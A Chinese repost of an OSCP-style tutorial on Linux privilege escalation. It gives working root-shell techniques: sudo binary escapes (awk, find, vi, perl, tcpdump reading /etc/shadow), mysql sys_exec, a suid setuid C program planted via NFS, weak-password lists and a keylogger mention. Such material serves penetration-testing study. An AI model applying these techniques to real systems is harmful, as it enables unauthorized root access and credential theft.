• 提权-特权升级


    转载:https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_-_linux.html

    一旦我们有了一个有限的shell,升级那些shell权限就很有用了。这样,它将更容易隐藏,读取和写入任何文件,并在重新启动之间保持不变。

    在本章中,我将介绍这些常见的Linux权限提升技术:

    • 内核漏洞
    • 以root身份运行的程序
    • 已安装的软件
    • 弱/重用/明文密码
    • 内部服务
    • Suid配置错误
    • 滥用sudo权利
    • 由root调用的世界可写脚本
    • 路径配置错误
    • Cronjobs
    • 未安装的文件系统

    枚举脚本

    我主要使用了三个用于枚举机器的脚本。它们是脚本之间的一些区别,但它们输出的内容很多。所以测试它们,看看你最喜欢哪一个。

    LINENUM

    https://github.com/rebootuser/LinEnum

    以下是选项:

    -k Enter keyword
    -e Enter export location
    -t Include thorough (lengthy) tests
    -r Enter report name
    -h Displays this help text
    

    Unix privesc

    http://pentestmonkey.net/tools/audit/unix-privesc-check
    运行脚本并将输出保存在文件中,然后在其中输入grep警告。

    Linprivchecker.py

    https://github.com/reider-roque/linpostexp/blob/master/linprivchecker.py

    特权升级技术

    内核漏洞

    通过利用Linux内核中的漏洞,我们有时可以升级我们的权限。我们通常需要知道的是,测试内核漏洞是否有效是操作系统,体系结构和内核版本。

    检查以下内容:

    OS:

    建筑:

    内核版本:

    uname -a
    cat /proc/version
    cat /etc/issue
    

    搜索漏洞

    site:exploit-db.com kernel version
    
    python linprivchecker.py extended
    

    如果可以避免,请不要使用内核漏洞。如果使用它可能会使机器崩溃或使其处于不稳定状态。所以内核漏洞应该是最后的手段。如果可以,请始终使用更简单的私有密码。他们也可以生产很多东西sys.log因此,如果您发现任何好的内容,请将其放在列表中,并在利用它之前继续搜索其他方法。

    以root身份运行的程序

    这里的想法是,如果特定服务以root身份运行,并且您可以使该服务执行命令,则可以以root身份执行命令。寻找网络服务器,数据库或其他类似的东西。一个典型的例子是mysql,例子如下。

    检查正在运行的进程

    # Metasploit
    ps
    
    # Linux
    ps aux
    

    Mysql的

    如果您发现mysql以root身份运行,并且您使用用户名和密码登录数据库,则可以发出以下命令:

    select sys_exec('whoami');
    select sys_eval('whoami');
    

    如果这些都不起作用,您可以使用用户定义函数/

    用户安装的软件

    用户是否安装了可能容易受到攻击的第三方软件?看看这个。如果你发现任何谷歌它的漏洞利用。

    # Common locations for user installed software
    /usr/local/
    /usr/local/src
    /usr/local/bin
    /opt/
    /home
    /var/
    /usr/src/
    
    # Debian
    dpkg -l
    
    # CentOS, OpenSuse, Fedora, RHEL
    rpm -qa (CentOS / openSUSE )
    
    # OpenBSD, FreeBSD
    pkg_info
    

    弱/重用/明文密码

    • 检查webserver连接到数据库(config.php或类似)的文件
    • 检查数据库中是否有可能重用的管理员密码
    • 检查弱密码
    username:username
    username:username1
    username:root
    username:admin
    username:qwerty
    username:password
    
    • 检查明文密码
    # Anything interesting the the mail?
    /var/spool/mail
    
    ./LinEnum.sh -t -k password
    

    服务仅限于内部

    可能是用户正在运行某些仅可从该主机获得的服务。您无法从外部连接到该服务。它可能是开发服务器,数据库或其他任何东西。这些服务可能以root用户身份运行,或者可能存在漏洞。他们可能更容易受到攻击,因为开发人员或用户可能会想“因为只有特定用户才能访问它,我们不需要花费那么多安全性”。

    检查netstat并将其与您从外部执行的nmap-scan进行比较。您是否从内部找到更多服务?

    # Linux
    netstat -anlp
    netstat -ano
    

    Suid和Guid配置错误

    当运行具有suid权限的二进制文件时,它将作为另一个用户运行,因此具有其他用户权限。它可以是root用户,也可以只是其他用户。如果在可能产生shell的程序上设置suid-bit,或者以其他方式滥用,我们可以使用它来升级我们的权限。

    例如,这些是可用于生成shell的一些程序:

    nmap
    vim
    less
    more
    

    如果这些程序具有suid-bit set,我们也可以使用它们来升级权限。有关更多这些以及如何使用,请参阅有关滥用sudo权限的下一部分:

    nano
    cp
    mv
    find
    

    找到suid和guid文件

    #Find SUID
    find / -perm -u=s -type f 2>/dev/null
    
    #Find GUID
    find / -perm -g=s -type f 2>/dev/null
    

    滥用sudo权利

    如果你有一个有限的shell可以访问某些程序使用sudo你可能能够升级您的权限。可以使用任何可以写入或覆盖的程序。例如,如果您拥有sudo权限,则cp可以覆盖/etc/shadow/etc/sudoers使用您自己的恶意文件。

    awk

    awk 'BEGIN {system("/bin/bash")}'
    

    bash

    cp
    复制并覆盖/ etc / shadow

    find

    sudo find / -exec bash -i ;
    
    find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ;
    

    ht

    文本/二进制编辑器HT。

    less

    从少到你可以进入vi,然后进入shell。

    sudo less /etc/shadow
    v
    :shell
    

    more

    您需要在比屏幕大的文件上运行更多。

    sudo more /home/pelle/myfile
    !/bin/bash
    

    mv

    覆盖/etc/shadow/etc/sudoers

    man

    nano

    nc

    nmap

    python/perl/ruby/lua/etc

    sudo perl
    exec "/bin/bash";
    ctr-d
    
    sudo python
    import os
    os.system("/bin/bash")
    

    sh

    tcpdump

    echo $'id
    cat /etc/shadow' > /tmp/.test
    chmod +x /tmp/.test
    sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
    

    vi/vim

    可以这样滥用:

    sudo vi
    :shell
    
    :set shell=/bin/bash:shell    
    :!bash
    

    我如何通过sudo获得root权限/

    以root身份调用世界可写脚本

    如果您发现一个由root拥有但可由任何人写入的脚本,您可以在该脚本中添加自己的恶意代码,以便在以root身份运行脚本时升级您的权限。它可能是cronjob的一部分,或者自动化,或者它可能由系统管理员手动运行。您还可以检查这些脚本调用的脚本。

    #World writable files directories
    find / -writable -type d 2>/dev/null
    find / -perm -222 -type d 2>/dev/null
    find / -perm -o w -type d 2>/dev/null
    
    # World executable folder
    find / -perm -o x -type d 2>/dev/null
    
    # World writable and executable folders
    find / ( -perm -o w -perm -o x ) -type d 2>/dev/null
    

    路径配置错误

    .路径
    。如果你把你的路径中的点,你将不必写./binary才能够执行它。您将能够执行当前目录中的任何脚本或二进制文件。

    为什么人/系统管理员会这样做?因为他们很懒,不想写./.

    这解释了它
    https://hackmag.com/security/reach-the-root/
    在这里
    http://www.dankalia.com/tutor/01005/0100501004.htm

    的cronjob

    使用可为其他用户编辑的特权运行脚本。

    查找特权用户拥有但可写的任何内容:

    crontab -l
    ls -alh /var/spool/cron
    ls -al /etc/ | grep cron
    ls -al /etc/cron*
    cat /etc/cron*
    cat /etc/at.allow
    cat /etc/at.deny
    cat /etc/cron.allow
    cat /etc/cron.deny
    cat /etc/crontab
    cat /etc/anacrontab
    cat /var/spool/cron/crontabs/root
    

    未安装的文件系统

    在这里,我们正在寻找任何未安装的文件系统。如果我们找到一个我们挂载它并再次启动priv-esc进程。

    mount -l
    cat /etc/fstab
    

    NFS共享

    如果您发现计算机具有NFS共享,则可以使用该共享来升级权限。取决于它的配置方式。

    # First check if the target machine has any NFS shares
    showmount -e 192.168.1.101
    
    # If it does, then mount it to you filesystem
    mount 192.168.1.101:/ /tmp/
    

    如果成功那么你可以去/tmp/share那里可能有一些有趣的东西。但即使没有,你也许可以利用它。

    如果您具有写权限,则可以创建文件。测试您是否可以创建文件,然后使用low-priv shell检查用户创建该文件的内容。如果它说是创建该文件的root用户那就是好消息。然后,您可以创建一个文件,并使用来自攻击计算机的suid-permission进行设置。然后使用低权限shell执行它。

    可以编译此代码并将其添加到共享中。在由低权限用户执行之前,请确保在其上设置suid-bit,如下所示:

    chmod 4777 exploit
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/types.h>
    #include <unistd.h>
    
    int main()
    {
        setuid(0);
        system("/bin/bash");
        return 0;
    }
    

    通过键盘记录器窃取密码

    如果您有权访问具有sudo权限的帐户但您没有密码,则可以安装键盘记录程序来获取密码。

    世界可写目录

    /tmp
    /var/tmp
    /dev/shm
    /var/spool/vbox
    /var/spool/samba
  • 相关阅读:
    简易聊天客户端程序
    java 多线程使用方法及Socket的使用
    跟着音乐节奏随机的产生不同颜色形状的图形
    移动小圆圈
    在一个frame设置四个组件
    触发按钮改变panel面板上的小圆圈颜色
    借助bootstrap框架模仿airbnb写的网页
    攻击DotCom小游戏
    mit java open course assignment #4
    FPS 游戏实现GDI透视
  • 原文地址:https://www.cnblogs.com/someone9/p/10508854.html
Copyright © 2020-2023  润新知